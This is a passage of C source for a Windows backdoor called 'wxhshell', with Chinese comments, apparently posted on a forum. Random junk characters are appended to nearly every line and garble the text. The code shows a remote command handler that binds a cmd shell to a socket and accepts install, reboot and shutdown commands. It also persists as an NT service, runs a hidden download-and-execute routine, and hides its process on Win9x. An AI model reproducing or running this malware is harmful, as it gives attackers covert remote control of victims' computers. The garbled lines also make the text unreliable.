  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6G1Z"9<2*  
  } 7b Gzun&  
  else { .R:eN&Y 8y  
l`,`N+FG  
    switch(cmd[0]) { {J|P2a[  
  (-"A5(X:/  
  // 帮助 >,1'[) _  
  case '?': { )[zyvU. J3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )w/f 'fq  
    break; 62Jn8DwAT  
  } 3)GXu>) t  
  // 安装 u}#rS%SF*  
  case 'i': { p>R F4  
    if(Install()) mflI>J=g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BPi>SI0  
    else R2M,VK?Wx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8f29Hj+  
    break; G#l zB`i  
    } J"[OH,/_  
  // 卸载 Jbs:}]2  
  case 'r': { =XoNk1  
    if(Uninstall()) Kji}2j'a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @#o$~'my  
    else eIg2m <9u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @W^g(I(w  
    break; /mr&Y}7T  
    } Z$[A.gD4  
  // 显示 wxhshell 所在路径 BH*vsxe  
  case 'p': { *TMg.  
    char svExeFile[MAX_PATH]; v[lytX4)  
    strcpy(svExeFile,"\n\r"); BNzL+"W  
      strcat(svExeFile,ExeFile); 4"7Qz z  
        send(wsh,svExeFile,strlen(svExeFile),0); GW}KmTa]&  
    break; Yh"Z@D[d  
    } /G84T,H  
  // 重启 So!1l7b  
  case 'b': { iY( hGlV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ke,-8e#Q  
    if(Boot(REBOOT)) 2RM1-j ($  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A"9aEOX-?i  
    else { flb3Iih  
    closesocket(wsh); 2c+q~8Jv  
    ExitThread(0); Y!Z@1V`  
    } |y=CmNG,  
    break; (EohxLl!p  
    } vTB*J,6.  
  // 关机 q F}5mUcZ4  
  case 'd': { rj{'X  /  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hO(HwG?8t  
    if(Boot(SHUTDOWN)) [ BN2c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #XmN&83_  
    else { ~oaVH.[e=  
    closesocket(wsh); gc(1,hv  
    ExitThread(0); fWLsk  
    } %%-kUe  
    break; qo}kwwWN;  
    } [N$@nA-d  
  // 获取shell *nC<1.JW  
  case 's': { 7 s[ ATu  
    CmdShell(wsh); I5 2wTl0  
    closesocket(wsh); 4P` \fz  
    ExitThread(0); *|`'L  
    break; X;}_[ =-  
  } sI^1c$sBN  
  // 退出 2y<d@z:K  
  case 'x': { bNL E=#ro  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r&TxRsg{  
    CloseIt(wsh); !`aodz*PO  
    break; VK|!aqA{b  
    } T;FzKfT|  
  // 离开 (@&|  
  case 'q': { Wx XVL"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _Juhl^LM;  
    closesocket(wsh); 6XX5K@  
    WSACleanup(); [KjQW/sb'  
    exit(1); c9ghR0WM  
    break; xw?G?(WO  
        } =jG3wf*  
  } |E?%Cj^W  
  } neZ_TT/3K  
)p!dql K  
  // 提示信息 }  g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #}jf TM  
} x K_$^c.  
  } :z"Uw*  
E8-p ,e,  
  return; 3^`bf=R  
} w=f8UtY9@A  
^Xb!dnT.*a  
// shell模块句柄 b UWtlg  
int CmdShell(SOCKET sock) p=r{ODw#3  
{ 5-&P4  
STARTUPINFO si; | _S9U|  
ZeroMemory(&si,sizeof(si)); C8{CKrVE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RF6|zCWuI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Dxu )by  
PROCESS_INFORMATION ProcessInfo; -> <_J4  
char cmdline[]="cmd"; T]i~GkD\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2.:b   
  return 0; 7tr.&A^c  
} IjrTM{f  
|L+GM"hg  
// 自身启动模式 (m,O!935f  
int StartFromService(void) i:z A(  
{ q?t>!1c  
typedef struct 6zNN 8  
{ h{TnvI/"  
  DWORD ExitStatus; h?CNChRJs  
  DWORD PebBaseAddress; F,EHZ,<V  
  DWORD AffinityMask; 1-JWqV(#?  
  DWORD BasePriority; }Rf } iG  
  ULONG UniqueProcessId; v=W%|iZ  
  ULONG InheritedFromUniqueProcessId; JHMj4Zkp  
}   PROCESS_BASIC_INFORMATION; Rdv"Aj:  
c76^x   
PROCNTQSIP NtQueryInformationProcess; [hiOFmMJZ-  
P0 89Mh9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wYF)G;[wM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^.<IT"  
dkVVvK  
  HANDLE             hProcess; L ~;_R*Th  
  PROCESS_BASIC_INFORMATION pbi; v'iQLUgI  
T&0tW"r?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nF//y}  
  if(NULL == hInst ) return 0; =RV$8.Xp  
@lBH@HR=C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0umfC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @D7cv"   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y24 0 +;a  
u(lq9; ;Th  
  if (!NtQueryInformationProcess) return 0; dvxH:,  
6: M   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z> &PM06  
  if(!hProcess) return 0; I4") ;T3  
:r~?Z6gK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y[$e]N  
RSkpf94`  
  CloseHandle(hProcess); r2hm`]\8M  
Su-+~` "  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i\ PN  
if(hProcess==NULL) return 0; j5RM S V  
g|T' oK  
HMODULE hMod; b>waxQxjS  
char procName[255]; &2c?g1%  
unsigned long cbNeeded; z#-&MJ  
C( r?1ma  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2Hq!YsJ4]  
c(eu[vj:  
  CloseHandle(hProcess); ricDP 9#a  
VX- f~  
if(strstr(procName,"services")) return 1; // 以服务启动 0_Y;r{3m"  
_mn4z+  
  return 0; // 注册表启动 jUfc&bi3  
} z3$PrK%  
EoY570PN  
// 主模块 T&{EqsI=B  
int StartWxhshell(LPSTR lpCmdLine)  M,6AD]  
{ $AX!L+<!  
  SOCKET wsl; .jRXHrK;  
BOOL val=TRUE; k r/[|.bq  
  int port=0; CE+\|5u W  
  struct sockaddr_in door; vu*08<M~i|  
WM"I r1  
  if(wscfg.ws_autoins) Install(); czT$mKj3  
w.V8-9{  
port=atoi(lpCmdLine); H- S28%.  
E]e6a^J#  
if(port<=0) port=wscfg.ws_port; bZKK' d$I  
8d>OtDLa  
  WSADATA data; 3|~(9b{+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !u=[/>  
?vk&k(FT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?HBc7$nW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?Jx8z`(  
  door.sin_family = AF_INET; ?=fJu\;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gFW1Nm_DJ  
  door.sin_port = htons(port); PgxU;N7Y  
0ogTQ`2Z:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R!-RSkB  
closesocket(wsl); <4VUzgX2  
return 1; 3 =S.-  
} f:=?"MX7  
muY4:F.C(  
  if(listen(wsl,2) == INVALID_SOCKET) { mH8"k+k  
closesocket(wsl); =?/J.[)<*  
return 1; \?}ZXKuJj  
} 0{jRXa-(  
  Wxhshell(wsl); !e%#Zb MIo  
  WSACleanup(); kdv>QZ  
UyvFR@  
return 0; le1'r>E$  
s^E%Uk m  
} K!'9wt  
Z3Vi il:  
// 以NT服务方式启动 z:acrQwJ?1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jF'S"_/?  
{ 6 .*=1P*?  
DWORD   status = 0; ZOU$do>O  
  DWORD   specificError = 0xfffffff; jaDZPX-yS  
PvO>}(=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K.1#cf ^'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pfZxG.l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bhFzu[B  
  serviceStatus.dwWin32ExitCode     = 0; o05) I2  
  serviceStatus.dwServiceSpecificExitCode = 0; d F),  
  serviceStatus.dwCheckPoint       = 0; qf'uXH  
  serviceStatus.dwWaitHint       = 0; J%%nv5y  
6W$k^<S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F+}MW/ra@  
  if (hServiceStatusHandle==0) return; 2"2b\b}my  
=>ignoeI  
status = GetLastError(); NB LOcRSh  
  if (status!=NO_ERROR) (h2bxfV~+  
{ P,*R@N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "y62Wo6m)  
    serviceStatus.dwCheckPoint       = 0; {@({po  
    serviceStatus.dwWaitHint       = 0; ]ul]L R%.  
    serviceStatus.dwWin32ExitCode     = status; aP2  
    serviceStatus.dwServiceSpecificExitCode = specificError; |>d5 6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !K3 #4   
    return; :xv"m {8+  
  } ;K`qSX;;c(  
3F<My+J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rrmr#a  
  serviceStatus.dwCheckPoint       = 0;  a2sN$k  
  serviceStatus.dwWaitHint       = 0; TTBl5X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e)GFJ3sW_  
} Vo%@bj~>  
<w 8*Ly:L  
// 处理NT服务事件,比如:启动、停止 6 Rg{^ERf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qd(`~a  
{ <r_ldkZ  
switch(fdwControl) z$S)|6Q  
{ F4KXx^~o  
case SERVICE_CONTROL_STOP: !m:SRNPg  
  serviceStatus.dwWin32ExitCode = 0; BQ &|=a6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \V}?K0#bt  
  serviceStatus.dwCheckPoint   = 0; Z^s&]  
  serviceStatus.dwWaitHint     = 0; mpN|U(n  
  { ;CFI*Wfp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); # M%-q8  
  } O?rVa:\  
  return; P!1y@R>Ln  
case SERVICE_CONTROL_PAUSE: s [@II]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W}XDzR'<  
  break; 7H9&\ur9+  
case SERVICE_CONTROL_CONTINUE: "1WwSh}Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S9U`-\L0  
  break; MejM(o_kk  
case SERVICE_CONTROL_INTERROGATE: OZDnU6  
  break; yB,$4:C  
}; ?%#3p[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 [w_ /X"  
} D O#4E<]5  
I6X_DPY  
// 标准应用程序主函数 m.Yj{u8zX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |3QKxS0  
{ A^*0{F?,)  
&Z#g/Hc  
// 获取操作系统版本 NRgNh5/  
OsIsNt=GetOsVer(); 'z>|N{-xG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FK{Vnj0  
R~PD[.\u  
  // 从命令行安装 yC(xi"!  
  if(strpbrk(lpCmdLine,"iI")) Install(); hZ[,.  
M9M~[[   
  // 下载执行文件 R:fERj<s  
if(wscfg.ws_downexe) { hCuUX)>Bt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j/ow8Jmc*  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,_F@9Up  
} qwoF4_VN  
#2^eGhwnI  
if(!OsIsNt) { 2mRm.e9?  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]>B>.s  
HideProc(); R %aed>zo  
StartWxhshell(lpCmdLine); 1-.6psE  
} D!^&*Ia?2  
else :Z3Tyj}4  
  if(StartFromService()) L9W'TvTwo  
  // 以服务方式启动 lpv Z[^G  
  StartServiceCtrlDispatcher(DispatchTable); o]u,<bM$  
else tHgu#k0  
  // 普通方式启动 $~W =)f9  
  StartWxhshell(lpCmdLine); WzDL(~m+Z  
=c8xg/  
return 0; }(FF^Mh  
}
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只看该作者 1 发表于: 2006-10-10
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